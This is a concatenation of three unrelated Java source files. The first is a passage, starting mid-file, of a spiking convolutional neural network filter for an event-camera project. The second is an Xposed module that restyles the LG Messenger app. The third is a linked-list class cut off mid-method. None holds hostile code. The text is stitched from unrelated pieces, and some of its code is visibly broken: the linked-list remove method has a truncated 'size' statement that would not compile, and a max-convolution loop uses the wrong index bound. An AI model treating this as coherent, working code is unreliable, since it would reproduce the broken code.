net.o_sum_spikes = new double[outputclass];
for (int i = 0; i < outputclass; i++) {
net.o_mem[i]=0.0f;
net.o_refrac_end[i]=0.0f;
net.o_sum_spikes[i]=0;
}
}
//use median tracker to process input
public int getMedian(List<Integer> l){
int median;
HashSet<Integer> lhs= new HashSet<>();
lhs.addAll(l);
l.clear();
l.addAll(lhs);
Collections.sort(l);
if ((l.size()%2)==0){
median = (int)Math.ceil(((l.get(l.size()/2)+l.get((l.size()/2)-1)))/2.0);
}else{
median = l.get((l.size()-1)/2);
}
return median;
}
//convert input spikes to be consistent with size of the input layer for median tracker
public List<List<Integer>> DVStoPixelInputSpace(List<Integer> x, List<Integer> y, int x_median, int y_median){
List<List<Integer>> InputSpace = new ArrayList<>();
if (MNIST) {
for (int i = 0; i < x.size(); i++) {
int x_new = (x.get(i) - x_median) + 14;
int y_new = (y.get(i) - y_median) + 14;
if ((x_new >= 1) && (x_new <= 28) && (y_new >= 1) && (y_new <= 28)) {
int x_new_transformed = 28-y_new;
int y_new_transformed = x_new-1;
List<Integer> triplets = Arrays.asList(x_new_transformed, y_new_transformed, i);
InputSpace.add(triplets);
}
}
}
if (robotSteering){
int dimx = net.layers.get(0).dimx;
int dimy = net.layers.get(0).dimy;
for (int i = 0; i < x.size(); i++) {
int x_new = (int) Math.floor(((x.get(i) * (dimx-1) * 1.0) / (chip.getSizeX()-1)) + (((chip.getSizeX()-dimx)*1.0) / (chip.getSizeX()-1)));
int y_new = (int) Math.floor(((y.get(i) * (dimy-1) * 1.0) / (chip.getSizeY()-1)) + (((chip.getSizeY()-dimy)*1.0) / (chip.getSizeY()-1)));
List<Integer> triplets = Arrays.asList(x_new, y_new, i);
InputSpace.add(triplets);
}
}
return InputSpace;
}
//load network from xml file
public void loadFromXMLFile(File f) throws IOException{
try {
EasyXMLReader networkReader = new EasyXMLReader(f);
if (!networkReader.hasFile()) {
log.warning("No file for reader; file=" + networkReader.getFile());
return;
}
int nLayers = networkReader.getNodeCount("Layer");
for (int i = 0; i < nLayers; i++) {
ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.LAYER layer = new ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.LAYER();
net.layers.add(i,layer);
}
for (int i = 0; i < nLayers; i++) {
EasyXMLReader layerReader = networkReader.getNode("Layer", i);
int index = layerReader.getInt("index");
String type = layerReader.getRaw("type");
switch (type) {
case "i": {
net.layers.get(i).type = "i";
net.layers.get(i).dimx = layerReader.getInt("dimx");
net.layers.get(i).dimy = layerReader.getInt("dimy");
int correct_size = net.layers.get(i).dimx;
float[][] correctly_sized_zeros = new float[correct_size][correct_size];
for (int j = 0; j < correct_size; j++) {
for (int k = 0; k < correct_size; k++) {
correctly_sized_zeros[j][k]=0.0f;
}
}
net.layers.get(i).m.add(correctly_sized_zeros);
net.layers.get(i).r.add(correctly_sized_zeros);
net.layers.get(i).s.add(correctly_sized_zeros);
net.layers.get(i).sp.add(correctly_sized_zeros);
}
break;
case "c": {
net.layers.get(i).type = "c";
net.layers.get(i).inmaps= layerReader.getInt("inputMaps");
net.layers.get(i).outmaps = layerReader.getInt("outputMaps");
net.layers.get(i).kernelsize = layerReader.getInt("kernelSize");
int kernelsize = layerReader.getInt("kernelSize");
net.layers.get(i).b = layerReader.getBase64FloatArr("biases");
float[] kernels = layerReader.getBase64FloatArr("kernels");
for (int j = 0; j < net.layers.get(i).inmaps; j++) {
for (int k = 0; k < net.layers.get(i).outmaps; k++) {
int a = ((j*net.layers.get(i).outmaps)+k)*kernelsize*kernelsize;
int b = a+(kernelsize*kernelsize);
float[][] mat = ArrToMat(Arrays.copyOfRange(kernels,a,b),kernelsize);
net.layers.get(i).k.add(mat);
}
}
net.layers.get(i).dimx = (net.layers.get(i-1).dimx-kernelsize)+1;
net.layers.get(i).dimy = (net.layers.get(i-1).dimy-kernelsize)+1;
int correct_size = net.layers.get(i).dimx;
float[][] correctly_sized_zeros = new float[correct_size][correct_size];
for (int j = 0; j < correct_size; j++) {
for (int k = 0; k < correct_size; k++) {
correctly_sized_zeros[j][k]=0.0f;
}
}
for (int j = 0; j < net.layers.get(i).outmaps; j++) {
net.layers.get(i).m.add(correctly_sized_zeros);
net.layers.get(i).r.add(correctly_sized_zeros);
net.layers.get(i).s.add(correctly_sized_zeros);
net.layers.get(i).sp.add(correctly_sized_zeros);
}
}
break;
case "s": {
net.layers.get(i).inmaps=net.layers.get(i-1).outmaps;
net.layers.get(i).outmaps=net.layers.get(i).inmaps;
net.layers.get(i).type= "s";
net.layers.get(i).scale = layerReader.getInt("averageOver");
net.layers.get(i).b = layerReader.getBase64FloatArr("biases");
net.layers.get(i).dimx = net.layers.get(i-1).dimx/net.layers.get(i).scale;
net.layers.get(i).dimy = net.layers.get(i-1).dimy/net.layers.get(i).scale;
int correct_size = net.layers.get(i).dimx;
float[][] correctly_sized_zeros = new float[correct_size][correct_size];
for (int j = 0; j < correct_size; j++) {
for (int k = 0; k < correct_size; k++) {
correctly_sized_zeros[j][k]=0.0f;
}
}
for (int j = 0; j < net.layers.get(i).outmaps; j++) {
net.layers.get(i).m.add(correctly_sized_zeros);
net.layers.get(i).r.add(correctly_sized_zeros);
net.layers.get(i).s.add(correctly_sized_zeros);
net.layers.get(i).sp.add(correctly_sized_zeros);
}
}
break;
}
}
net.ffb=networkReader.getBase64FloatArr("outputBias");
int outputclass = net.ffb.length;
net.ffw=ArrToMatffW(networkReader.getBase64FloatArr("outputWeights"),net.layers.get(nLayers-1).dimx,net.layers.get(nLayers-1).outmaps,outputclass);
net.sum_fv = new float[net.ffw[0].length];
for (int i = 0; i < net.sum_fv.length; i++) {
net.sum_fv[i]=0.0f;
}
net.o_mem = new float[outputclass];
net.o_refrac_end = new float[outputclass];
net.o_sum_spikes = new double[outputclass];
for (int i = 0; i < outputclass; i++) {
net.o_mem[i]=0.0f;
net.o_refrac_end[i]=0.0f;
net.o_sum_spikes[i]=0;
}
log.info(toString(networkReader));
} catch (RuntimeException e) {
log.warning("couldn't load net from file: caught " + e.toString());
e.printStackTrace();
}
}
//log information about the network loaded
public String toString(EasyXMLReader networkReader) {
StringBuilder sb = new StringBuilder("DeepLearnCnnNetwork: \n");
sb.append(String.format("name=%s, dob=%s, type=%s\nnotes=%s\n", networkReader.getRaw("name"), networkReader.getRaw("dob"), networkReader.getRaw("type"), networkReader.getRaw("notes")));
sb.append(String.format("nLayers=%d\n", networkReader.getNodeCount("Layer"))+"\n");
sb.append(String.format("index=0 Input dimx=%s dimy=%s",net.layers.get(0).dimx,net.layers.get(0).dimy)+"\n");
for (int i = 1; i < networkReader.getNodeCount("Layer"); i++) {
ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.LAYER layer = net.layers.get(i);
if (layer.type=="c"){
sb.append(String.format("index=%s Convolution nInputMaps=%s nOutputMaps=%s kernelsize=%s",i,layer.inmaps,layer.outmaps,layer.kernelsize)+"\n");
}else{
sb.append(String.format("index=%s Subsample nInputMaps=%s nOutputMaps=%s scale=%s",i,layer.inmaps,layer.outmaps,layer.scale)+"\n");
}
}
sb.append(String.format("Output bias=float[%s] weight=float[%s][%s]",net.ffb.length,net.ffw.length,net.ffw[0].length));
return sb.toString();
}
//convert array in xml to matrix
public float[][] ArrToMat(float[] array, int kernelsize){
float[][] matrix = new float[kernelsize][kernelsize];
for (int i = 0; i < kernelsize; i++) {
for (int j = 0; j < kernelsize; j++) {
matrix[j][i] = array[(i*kernelsize)+j];
}
}
return matrix;
}
//convert array in xml to matrix (weight to output layer)
public float[][] ArrToMatffW(float[] array, int mapsize, int inmaps, int outputclass){
float[][] matrix = new float[outputclass][mapsize*mapsize*inmaps];
for (int i = 0; i < matrix[0].length; i++) {
for (int j = 0; j < matrix.length; j++) {
matrix[j][i] = array[(i*outputclass)+j];
}
}
return matrix;
}
//convert list of input spikes to input matrix
public float[][] InputListToSpike(List<List<Integer>> input) {
float[][] output = new float[net.layers.get(0).dimx][net.layers.get(0).dimy];
for (int i = 0; i < output.length; i++) {
for (int j = 0; j < output[0].length; j++) {
output[i][j] = 0.0f;
}
}
for (int i = 0; i < input.size(); i++) {
int x = input.get(i).get(0);
int y = input.get(i).get(1);
//output[y][x] = output[y][x] + 1.0f;
output[y][x] = 1.0f;
}
return output;
}
//transform (transpose+mirroring) input matrix such that it's consistent with the MNIST digits used to train the network
public float[][] transform(float[][] input){
float[][] input_new_1 = new float[net.layers.get(0).dimx][net.layers.get(0).dimy];
for (int i = 0; i < input_new_1.length; i++) {
for (int j = 0; j < input_new_1[0].length; j++) {
input_new_1[i][input_new_1.length-1-j] = input[j][i];
}
}
return input_new_1;
}
//feed spikes to the network
public void Convlifsim(List<List<Integer>> input, float t_ref, float threshold, List<Float> ts) {
//current time
float currenttime = ts.get(ts.size() - 1);
//InputLayer
float[][] InputSpikes = InputListToSpike(input);
/*if (takeAllInput){
InputSpikes = transform(InputSpikes);
}*/
net.layers.get(0).sp.set(0, InputSpikes);
float[][] mem = new float[InputSpikes.length][InputSpikes[0].length];
for (int i = 0; i < mem.length; i++) {
for (int j = 0; j < mem[0].length; j++) {
mem[i][j] = net.layers.get(0).m.get(0)[i][j] + InputSpikes[i][j];
}
}
net.layers.get(0).m.set(0, mem);
float[][] sum = new float[InputSpikes.length][InputSpikes[0].length];
for (int i = 0; i < sum.length; i++) {
for (int j = 0; j < sum[0].length; j++) {
sum[i][j] = net.layers.get(0).s.get(0)[i][j] + InputSpikes[i][j];
}
}
net.layers.get(0).s.set(0, sum);
for (int i = 0; i < net.layers.size(); i++) {
//ConvLayer
if ("c".equals(net.layers.get(i).type)) {
//size of matrix after convolution
int dimx = (net.layers.get(i - 1).dimx - net.layers.get(i).kernelsize) + 1;
int dimy = (net.layers.get(i - 1).dimy - net.layers.get(i).kernelsize) + 1;
//output a map for each convolution
for (int j = 0; j < net.layers.get(i).outmaps; j++) {
//sum up input maps
float[][] z = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
z[k][l] = 0.0f;
}
}
for (int k = 0; k < net.layers.get(i).inmaps; k++) {
//for each input map convolve with corresponding kernel and add to temp output map
float[][] sp_in = net.layers.get(i - 1).sp.get(k);
float[][] z_conv = convolution2D(sp_in, sp_in.length, sp_in[0].length, net.layers.get(i).k.get((k * net.layers.get(i).outmaps) + j), net.layers.get(i).kernelsize, net.layers.get(i).kernelsize);
for (int l = 0; l < dimx; l++) {
for (int m = 0; m < dimy; m++) {
z[l][m] = z[l][m] + z_conv[l][m];
}
}
}
//add bias
for (int k = 0; k < z.length; k++) {
for (int l = 0; l < z[0].length; l++) {
z[k][l] = z[k][l] + net.layers.get(i).b[j];
}
}
//only allow non-refractory neurons to get input
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (net.layers.get(i).r.get(j)[k][l] > currenttime) {
z[k][l] = 0.0f;
}
}
}
//add input
float[][] mem_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
mem_new[k][l]=net.layers.get(i).m.get(j)[k][l]+z[k][l];
if (mem_new[k][l] < negative_threshold) {
mem_new[k][l] = negative_threshold;
}
}
}
//check for spiking
float[][] spikes_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (mem_new[k][l] >= threshold) {
spikes_new[k][l] = 1.0f;
} else {
spikes_new[k][l] = 0.0f;
}
}
}
//reset
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (spikes_new[k][l] == 1.0f) {
mem_new[k][l] = 0.0f;
}
}
}
//ban updates until
float[][] refrac_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (spikes_new[k][l] == 1) {
refrac_new[k][l] = currenttime + t_ref;
} else {
refrac_new[k][l] = net.layers.get(i).r.get(j)[k][l];
}
}
}
//store results for analysis later
float[][] sum_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
sum_new[k][l] = net.layers.get(i).s.get(j)[k][l] + spikes_new[k][l];
}
}
net.layers.get(i).m.set(j, mem_new);
net.layers.get(i).s.set(j, sum_new);
net.layers.get(i).sp.set(j, spikes_new);
net.layers.get(i).r.set(j, refrac_new);
}
} else if ("s".equals(net.layers.get(i).type)) {
//subsample by averaging
int width = (net.layers.get(i - 1).dimx - net.layers.get(i).scale) + 1;
int height = (net.layers.get(i - 1).dimy - net.layers.get(i).scale) + 1;
int dimx = net.layers.get(i).dimx;
int dimy = net.layers.get(i).dimy;
float[][] subsample = new float[net.layers.get(i).scale][net.layers.get(i).scale];
for (int j = 0; j < subsample.length; j++) {
for (int k = 0; k < subsample[0].length; k++) {
subsample[j][k] = (float) 1 / (net.layers.get(i).scale * net.layers.get(i).scale);
}
}
for (int j = 0; j < net.layers.get(i).inmaps; j++) {
float[][] sp_in = net.layers.get(i - 1).sp.get(j);
float[][] z_conv = convolution2D(sp_in, sp_in.length, sp_in[0].length, subsample, subsample.length, subsample[0].length);
//downsampe
float[][] z = new float[sp_in.length / subsample.length][sp_in[0].length / subsample[0].length];
for (int k = 0; k < z.length; k++) {
for (int l = 0; l < z[0].length; l++) {
z[k][l] = z_conv[k * 2][l * 2];
}
}
//only allow non-refractory neurons to get input
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (net.layers.get(i).r.get(j)[k][l] > currenttime) {
z[k][l] = 0.0f;
}
}
}
//add input
float[][] mem_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
mem_new[k][l]=net.layers.get(i).m.get(j)[k][l]+z[k][l];
}
}
//check for spiking
float[][] spikes_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (mem_new[k][l] >= threshold) {
spikes_new[k][l] = 1.0f;
} else {
spikes_new[k][l] = 0.0f;
}
}
}
//reset
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (spikes_new[k][l] == 1.0f) {
mem_new[k][l] = 0.0f;
}
}
}
//ban updates until
float[][] refrac_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
if (spikes_new[k][l] == 1.0f) {
refrac_new[k][l] = currenttime + t_ref;
} else {
refrac_new[k][l] = net.layers.get(i).r.get(j)[k][l];
}
}
}
//store results for analysis later
float[][] sum_new = new float[dimx][dimy];
for (int k = 0; k < dimx; k++) {
for (int l = 0; l < dimy; l++) {
sum_new[k][l] = net.layers.get(i).s.get(j)[k][l] + spikes_new[k][l];
}
}
net.layers.get(i).s.set(j, sum_new);
net.layers.get(i).sp.set(j, spikes_new);
net.layers.get(i).m.set(j, mem_new);
net.layers.get(i).r.set(j, refrac_new);
}
}
}
//concatenate all end layer feature maps into vector
ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.LAYER currentLayer = net.layers.get(net.layers.size() - 1);
net.fv = new float[currentLayer.dimx * currentLayer.dimy * currentLayer.outmaps];
int idx = 0;
for (int i = 0; i < currentLayer.outmaps; i++) {
for (int j = 0; j < currentLayer.dimy; j++) {
for (int k = 0; k < currentLayer.dimx; k++) {
net.fv[idx] = currentLayer.sp.get(i)[k][j];
idx++;
}
}
}
//sum_fv
for (int i = 0; i < net.sum_fv.length; i++) {
net.sum_fv[i] = net.sum_fv[i] + net.fv[i];
}
//run the output layer neurons
//add inputs multiplied by weights
//ffw*fv
int d = net.ffw.length;
int e = net.fv.length;
float[] impulse = new float[d];
for (int i = 0; i < d; i++) {
impulse[i] = 0.0f;
}
for (int i = 0; i < d; i++) {
for (int j = 0; j < e; j++) {
impulse[i] = impulse[i] + (net.ffw[i][j] * net.fv[j]);
}
}
//add bias
for (int i = 0; i < impulse.length; i++) {
impulse[i] = impulse[i] + net.ffb[i];
}
//only add input from neurons past their refractory point
for (int i = 0; i < d; i++) {
if (net.o_refrac_end[i] >= currenttime) {
impulse[i] = 0.0f;
}
}
//add input to membrane potential
for (int i = 0; i < d; i++) {
net.o_mem[i]=net.o_mem[i]+impulse[i];
if (net.o_mem[i] < negative_threshold) {
net.o_mem[i] = negative_threshold;
}
}
//check for spiking
net.o_spikes = new int[d];
for (int i = 0; i < d; i++) {
if (net.o_mem[i] >= threshold) {
net.o_spikes[i] = 1;
} else {
net.o_spikes[i] = 0;
}
}
//reset
for (int i = 0; i < d; i++) {
if (net.o_spikes[i] == 1) {
net.o_mem[i] = 0.0f;
}
}
//ban updates until
for (int i = 0; i < d; i++) {
if (net.o_spikes[i] == 1) {
net.o_refrac_end[i] = currenttime + t_ref;
}
}
//store results for analysis later
for (int i = 0; i < d; i++) {
if (!reset) {
net.o_sum_spikes[i] = (net.o_sum_spikes[i] * (float) Math.exp(- (currenttime-t_previous) / decay_output)) + net.o_spikes[i];
}else{
net.o_sum_spikes[i] = net.o_sum_spikes[i] + net.o_spikes[i];
}
}
}
public static float[][] convolution2D(float[][] input, int width, int height, float[][] kernel, int kernelWidth, int kernelHeight){
/**
* flip kernel
*/
float[][] kernel_flipped = new float[kernelWidth][kernelHeight];
for (int i = 0; i < kernelWidth; i++) {
for (int j = 0; j < kernelHeight; j++) {
kernel_flipped[i][j]=kernel[kernelWidth-1-i][kernelHeight-1-j];
}
}
int smallWidth = (width - kernelWidth) + 1;
int smallHeight = (height - kernelHeight) + 1;
float[][] output = new float[smallWidth][smallHeight];
for(int i=0;i<smallWidth;++i){
for(int j=0;j<smallHeight;++j){
output[i][j]=0;
}
}
for(int i=0;i<smallWidth;++i){
for(int j=0;j<smallHeight;++j){
output[i][j] = singlePixelConvolution(input,i,j,kernel_flipped,
kernelWidth,kernelHeight);
}
}
return output;
}
public static float singlePixelConvolution(float [][] input, int x, int y, float [][] k, int kernelWidth, int kernelHeight){
float output = 0;
for(int i=0;i<kernelWidth;++i){
for(int j=0;j<kernelHeight;++j){
output = output + (input[x+i][y+j] * k[i][j]);
}
}
return output;
}
public static float[][] MaxConvolution(float[][] input, int x, int y, int kernelWidth, int kernelHeight){
float output[][] = new float[(x-kernelHeight)+1][(y-kernelHeight)+1];
for (int i = 0; i < output.length; i++) {
for (int j = 0; j < output[0].length; j++) {
float max=0.0f;
for (int k = i; k < (i+kernelWidth); k++) {
for (int l = j; l < (i+kernelHeight); l++) {
if (input[k][l]>max) {
max = input[k][l];
}
}
}
output[i][j]=max;
}
}
return output;
}
public static float[][] MaxSubsample(float[][] input, int x, int y, int scale){
float output[][] = new float[x/scale][y/scale];
for (int i = 0; i < (x/scale); i++) {
for (int j = 0; j < (y/scale); j++) {
float max = 0.0f;
for (int k = i*scale; k < ((1+i)*scale); k++) {
for (int l = j*scale; l < ((1+j)*scale); l++) {
if (input[k][l]>max){
max=input[k][l];
}
}
}
output[i][j]=max;
}
}
return output;
}
private class Error {
int totalCount, totalCorrect, totalIncorrect;
int[] correct = new int[4], incorrect = new int[4], count = new int[4];
protected int pixelErrorAllowedForSteering = getInt("pixelErrorAllowedForSteering", 10);
int dvsTotalCount, dvsCorrect, dvsIncorrect;
int apsTotalCount, apsCorrect, apsIncorrect;
public Error() {
reset();
}
void reset() {
totalCount = 0;
totalCorrect = 0;
totalIncorrect = 0;
Arrays.fill(correct, 0);
Arrays.fill(incorrect, 0);
Arrays.fill(count, 0);
dvsTotalCount = 0;
dvsCorrect = 0;
dvsIncorrect = 0;
apsTotalCount = 0;
apsCorrect = 0;
apsIncorrect = 0;
}
void addSample(TargetLabeler.TargetLocation gtTargetLocation, int descision, boolean apsType) {
totalCount++;
if ((gtTargetLocation == null)) {
return;
}
if (apsType) {
apsTotalCount++;
} else {
dvsTotalCount++;
}
int third = chip.getSizeX() / 3;
if (gtTargetLocation.location != null) {
int x = (int) Math.floor(gtTargetLocation.location.x);
int gtDescision = x / third;
if ((gtDescision < 0) || (gtDescision > 3)) {
return; // bad descision output, should not happen
}
count[gtDescision]++;
if (gtDescision == descision) {
correct[gtDescision]++;
totalCorrect++;
if (apsType) {
apsCorrect++;
} else {
dvsCorrect++;
}
} else {
/*if (getPixelErrorAllowedForSteering() == 0) {*/
incorrect[gtDescision]++;
totalIncorrect++;
if (apsType) {
apsIncorrect++;
} else {
dvsIncorrect++;
}
/*} else {
boolean wrong = true;
// might be error but maybe not if the descision is e.g. to left and the target location is just over the border to middle
float gtX = gtTargetLocation.location.x;
if (descision == LEFT && gtX < third + pixelErrorAllowedForSteering) {
wrong = false;
} else if (descision == CENTER && gtX >= third - pixelErrorAllowedForSteering && gtX <= 2 * third + pixelErrorAllowedForSteering) {
wrong = false;
} else if (descision == RIGHT && gtX >= 2 * third - pixelErrorAllowedForSteering) {
wrong = false;
}
if (wrong) {
incorrect[gtDescision]++;
totalIncorrect++;
if (apsType) {
apsIncorrect++;
} else {
dvsIncorrect++;
}
}
}*/
}
} else {
count[INVISIBLE]++;
if (descision == INVISIBLE) {
correct[INVISIBLE]++;
totalCorrect++;
if (apsType) {
apsCorrect++;
} else {
dvsCorrect++;
}
} else {
incorrect[INVISIBLE]++;
totalIncorrect++;
if (apsType) {
apsIncorrect++;
} else {
dvsIncorrect++;
}
}
}
}
}
}
|
package com.gmail.alexellingsen.g2aospskin.hooks;
import android.app.Activity;
import android.content.Context;
import android.content.res.XModuleResources;
import android.graphics.Color;
import android.os.Bundle;
import android.view.ContextThemeWrapper;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.gmail.alexellingsen.g2aospskin.R;
import de.robv.android.xposed.IXposedHookZygoteInit.StartupParam;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_InitPackageResources.InitPackageResourcesParam;
import de.robv.android.xposed.callbacks.XC_LayoutInflated;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
import java.util.ArrayList;
public class LGMessenger {
private static final String PACKAGE = "com.android.mms";
private static XModuleResources mModRes;
private static int ID = -1;
private static ImageView conversationShadow;
private static LinearLayout rightButtonsLand;
private static LinearLayout rightButtonsPort;
public static void init(StartupParam startupParam, XModuleResources modRes) throws Throwable {
mModRes = modRes;
try {
XposedHelpers.findAndHookMethod(
"android.view.View",
null,
"setBackground",
"android.graphics.drawable.Drawable",
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
if (param.thisObject instanceof LinearLayout) {
LinearLayout thiz = (LinearLayout) param.thisObject;
Context context = thiz.getContext();
if (context.getClass().getName().equals("com.android.mms.ui.ComposeMessageActivity")) {
if (ID != -1 && thiz.getId() == ID) {
param.args[0] = null;
}
}
} else if (param.thisObject.getClass().getName().equals("com.android.mms.pinchApi.ExEditText")) {
param.args[0] = null;
}
}
}
);
XposedHelpers.findAndHookMethod(
"android.view.View",
null,
"setBackgroundDrawable",
"android.graphics.drawable.Drawable",
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
if (param.thisObject.getClass().getName().equals("com.android.mms.pinchApi.ExEditText")) {
param.args[0] = null;
}
}
}
);
} catch (Throwable ignored) {
XposedBridge.log("Couldn't hook LinearLayout in init");
}
XposedHelpers.findAndHookMethod(
"android.view.ContextThemeWrapper",
null,
"setTheme",
int.class,
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
if (param.thisObject.getClass().getPackage().getName().contains("com.android.mms.ui")) {
param.args[0] = android.R.style.Theme_Holo_Light;
}
}
}
);
/*XposedHelpers.findAndHookMethod(
"android.app.Activity",
null,
"onCreate",
Bundle.class,
new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
Toast.makeText((Activity) param.thisObject,
((Activity) param.thisObject).getClass().getName(), Toast.LENGTH_SHORT).show();
}
}
);*/
}
public static void handleInitPackageResources(InitPackageResourcesParam resparam) throws Throwable {
if (!resparam.packageName.equals(PACKAGE)) {
return;
}
resparam.res.hookLayout(PACKAGE, "layout", "compose_bottom_button_area_right", new XC_LayoutInflated() {
@Override
public void handleLayoutInflated(LayoutInflatedParam liparam) throws Throwable {
rightButtonsLand = (LinearLayout) liparam.view.findViewById(
liparam.res.getIdentifier("right_area_port", "id", PACKAGE)
);
rightButtonsPort = (LinearLayout) liparam.view.findViewById(
liparam.res.getIdentifier("right_area_land", "id", PACKAGE)
);
}
});
resparam.res.hookLayout(PACKAGE, "layout", "conversation_list_screen", new XC_LayoutInflated() {
@Override
public void handleLayoutInflated(LayoutInflatedParam liparam) throws Throwable {
conversationShadow = (ImageView) liparam.view.findViewById(
liparam.res.getIdentifier("msg_list_title_bar_shadow_img", "id", PACKAGE)
);
conversationShadow.setVisibility(View.GONE);
}
});
resparam.res.hookLayout(PACKAGE, "layout", "compose_message_activity_header", new XC_LayoutInflated() {
@Override
public void handleLayoutInflated(LayoutInflatedParam liparam) throws Throwable {
int[] identifiers = new int[]{
liparam.res.getIdentifier("title", "id", PACKAGE),
liparam.res.getIdentifier("subtitle", "id", PACKAGE),
liparam.res.getIdentifier("subtitle2", "id", PACKAGE)
};
for (int id : identifiers) {
((TextView) liparam.view.findViewById(id)).setTextColor(Color.BLACK);
}
}
});
resparam.res.setReplacement(PACKAGE, "drawable", "ic_add", mModRes.fwd(R.drawable.ic_action_content_new));
resparam.res.setReplacement(PACKAGE, "drawable", "ic_menu_add", mModRes.fwd(R.drawable.ic_action_content_new));
resparam.res.setReplacement(PACKAGE, "drawable", "ic_menu_call", mModRes.fwd(R.drawable.ic_action_device_access_call));
resparam.res.setReplacement(PACKAGE, "drawable", "ic_menu_composemsg", mModRes.fwd(R.drawable.ic_action_content_new_email));
}
public static void handleLoadPackage(final XC_LoadPackage.LoadPackageParam lpparam) throws Throwable {
if (!lpparam.packageName.equals(PACKAGE)) {
return;
}
XposedHelpers.findAndHookMethod(
PACKAGE + ".ui.ComposeMessageFragment",
lpparam.classLoader,
"initResourceRefs",
new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
ViewGroup view = (ViewGroup) XposedHelpers.getObjectField(param.thisObject, "mEditTextLayout");
ID = view.getId();
}
}
);
XposedHelpers.findAndHookMethod(
PACKAGE + ".ui.ComposeMessageActivity",
lpparam.classLoader,
"onCreate",
Bundle.class,
new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
/*rightButtonsLand.setOrientation(LinearLayout.HORIZONTAL);
rightButtonsPort.setOrientation(LinearLayout.HORIZONTAL);*/
}
}
);
ArrayList<String> classes = new ArrayList<String>();
classes.add(PACKAGE + ".ui.ConversationList");
classes.add(PACKAGE + ".ui.ComposeMessageActivity");
classes.add(PACKAGE + ".ui.SmsPreference");
classes.add(PACKAGE + ".ui.FloatingWrapper");
for (String c : classes) {
XposedHelpers.findAndHookMethod(
c,
lpparam.classLoader,
"onCreate",
"android.os.Bundle",
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
((Activity) param.thisObject).setTheme(android.R.style.Theme_Holo_Light);
}
}
);
}
XC_MethodHook hook = new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
param.args[0] = new ContextThemeWrapper((android.content.Context) param.args[0],
android.R.style.Theme_Holo_Light);
}
/*@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
EditText thiz = (EditText) param.thisObject;
Context context = thiz.getContext();
TypedArray a = context.getTheme().obtainStyledAttributes(android.R.style.Theme_Holo_Light, new int[]{android.R.attr.editTextBackground});
int attributeResourceId = a.getResourceId(0, android.R.drawable.edit_text);
Drawable drawable = context.getResources().getDrawable(attributeResourceId);
a.recycle();
thiz.setBackground(drawable);
}*/
};
XposedHelpers.findAndHookConstructor(
PACKAGE + ".pinchApi.ExEditText",
lpparam.classLoader,
"android.content.Context",
hook
);
XposedHelpers.findAndHookConstructor(
PACKAGE + ".pinchApi.ExEditText",
lpparam.classLoader,
"android.content.Context",
"android.util.AttributeSet",
hook
);
XposedHelpers.findAndHookConstructor(
PACKAGE + ".pinchApi.ExEditText",
lpparam.classLoader,
"android.content.Context",
"android.util.AttributeSet",
"int",
hook
);
XposedBridge.log("Hooked all constructors");
}
}
|
package com.jwetherell.algorithms.data_structures;
public class LinkedList<T> {
private Node<T> head = null;
private Node<T> tail = null;
private int size = 0;
public LinkedList() { }
public LinkedList(T[] nodes) {
populate(nodes);
}
private void populate(T[] nodes) {
for (T n : nodes) {
add(new Node<T>(n));
}
}
public void add(T value) {
add(new Node<T>(value));
}
public void add(Node<T> node) {
if (head == null) {
head = node;
tail = node;
} else {
Node<T> prev = tail;
prev.nextNode = node;
node.previousNode = prev;
tail = node;
}
size++;
}
public boolean remove(T value) {
//Find the node
Node<T> node = head;
while (node != null && (!node.value.equals(value))) {
node = node.nextNode;
}
if (node == null) return false;
//Update the tail, if needed
if (node.equals(tail)) tail = node.previousNode;
Node<T> prev = node.previousNode;
Node<T> next = node.nextNode;
if (prev != null && next != null) {
prev.nextNode = next;
next.previousNode = prev;
} else if (prev != null && next == null) {
prev.nextNode = null;
} else if (prev == null && next != null) {
// Node is the head
next.previousNode = null;
head = next;
} else {
// prev==null && next==null
head = null;
}
size
return true;
}
public T get(int index) {
T result = null;
Node<T> node = head;
int i = 0;
while (node != null && i < index) {
node = node.nextNode;
i++;
}
if (node != null) result = node.value;
return result;
}
public T getHeadValue() {
T result = null;
if (head != null) result = head.value;
return result;
}
public int getSize() {
return size;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
Node<T> node = head;
